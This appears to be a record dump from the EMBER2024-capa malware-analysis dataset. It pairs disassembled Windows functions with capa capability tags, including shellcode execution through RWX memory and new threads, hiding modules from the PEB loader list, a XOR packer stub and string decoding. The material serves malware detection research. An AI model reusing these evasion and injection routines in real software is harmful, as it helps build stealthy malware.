joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100651f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10065290
cmp esi, 0x1000
jbe 0x1006526b
cmp edi, 0x1000
jbe 0x1006526b
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
lea ecx, [esi + 7]
push 5
lea edx, [edx + 7]
call fcn.10018070
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100652fe
mov edx, dword [ebp + 8]
lea ecx, [esi + 7]
push 5
lea edx, [edx + 7]
call fcn.10018070
add esp, 4
cmp esi, 0x1000
jbe 0x10065301
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x100652fe
cmp esi, 0x1000
jbe 0x100652db
cmp edi, 0x1000
jbe 0x100652db
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
lea ecx, [esi + 5]
push 5
lea edx, [edx + 5]
call fcn.10018070
add esp, 4
jmp 0x100652f6
mov edx, dword [ebp + 8]
lea ecx, [esi + 5]
push 5
lea edx, [edx + 5]
call fcn.10018070
add esp, 4
cmp esi, 0x1000
jbe 0x10065301
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10065318
cmp al, 0x6a
je 0x10065318
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10065210
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007dc09
mov esp, ebp
pop ebp
ret
Function at 0x10066150
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10066252
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100661d7
cmp ecx, edi
jne 0x100661ce
mov edx, dword [eax + 4]
test edx, edx
je 0x1006619c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1006619c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x100661a8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100661b5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100661ce
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100661ce
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10066181
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10049070
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100653c0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100668d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x100668fc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1006691e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10066920
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x100669a5
jg 0x10066935
test esi, esi
je 0x100669a5
test ecx, ecx
jl 0x10066988
jg 0x1006693f
test eax, eax
je 0x10066988
cmp edi, ecx
jg 0x10066953
jl 0x10066949
cmp esi, eax
jae 0x10066953
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x100669a5
jg 0x1006698b
test esi, esi
je 0x100669a5
jmp 0x1006698b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x100669a5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100669c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x100669ec
jl 0x100669e0
test esi, esi
jne 0x100669ec
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10066a05
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov edx, dword [eax]
test edx, edx
je 0x10066a3f
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10066a3f
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
mov edx, edi
je 0x10066ac0
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10066a68
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, edi
mov ecx, dword [ebp - 4]
cmp edi, 0xfff
jbe 0x10066aac
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10066ad3
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10066a80
test edx, edx
je 0x10066ac0
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, edi
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10066e00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10066e30
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10066e60
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10066e60
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10066f36
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10066e89
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10066e95
movsx eax, bl
jmp 0x10066ecd
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x10066ef7
sub eax, 1
je 0x10066ef7
sub eax, 2
jne 0x10066f36
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10066f15
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10066f36
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x10066f36
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007dc09
mov esp, ebp
pop ebp
ret 4
Function at 0x10077900
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x100779bc
cmp byte [esi + 0x3d], 0
je 0x100779bc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x100779aa
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10077971
sub eax, 1
je 0x10077975
sub eax, 2
jne 0x100779aa
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10077993
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100779aa
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1007dc09
mov esp, ebp
pop ebp
ret

Function at 0x1007af90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 3
xor eax, eax
mov dl, byte [edi + eax - 0x2dde7edd]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007afbe
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007afa1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007afd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xb5
xor eax, eax
mov dl, byte [edi + eax - 0x39e8c79c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007affe
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007afe1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007b010
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x7e
xor eax, eax
mov dl, byte [edi + eax + 0x47b30cfa]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b03e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b021
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1007b050
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x90
xor eax, eax
mov dl, byte [edi + eax + 0x2c0f6166]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b07e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b061
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007d9a0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008dd3d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1007d830
cmp byte [ebp - 0x84], 0
jne 0x1007daf1
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x1007da35
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100b6ab8
call fcn.1007d830
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1007d830
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x1007daa4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1007d8e0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1007db33
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1007db29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007db29
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1007e454
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007dc09
mov esp, ebp
pop ebp
ret
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x53c0c1e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5e4d13f2
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x402f50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x44d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402fe8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fc8
xor eax, eax
push ebp
push 0x402fc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fc8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x44d020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x44d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403c94
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x44f048], 0
je 0x403cf5
cmp word [0x44f21c], 0xd7b2
jne 0x403cbd
cmp dword [0x44f224], 0
jbe 0x403cbd
mov eax, 0x44f218
call dword [0x44f234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x44d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d1c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x44d030], 0
jne 0x403d11
push 0
push 0x44d064
push 0x44d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405968
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4059ce
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404080
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b14
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4059b8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4059d5
lea eax, [ebp - 0x10]
call fcn.00403e10
ret

Function at 0x40a8b4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a8ed
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f00
jmp 0x40a8f6
mov eax, ebx
mov edx, esi
call fcn.00403e64
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a900
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a921
mov al, byte [esp]
jmp 0x40a923
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40afa8
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ae20
mov eax, dword [0x44e014]
cmp byte [eax], 0
je 0x40b024
mov eax, dword [0x44de3c]
call fcn.00402980
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408128
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b06c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b05a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44ddec]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44f664]
call fcn.00404e7c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret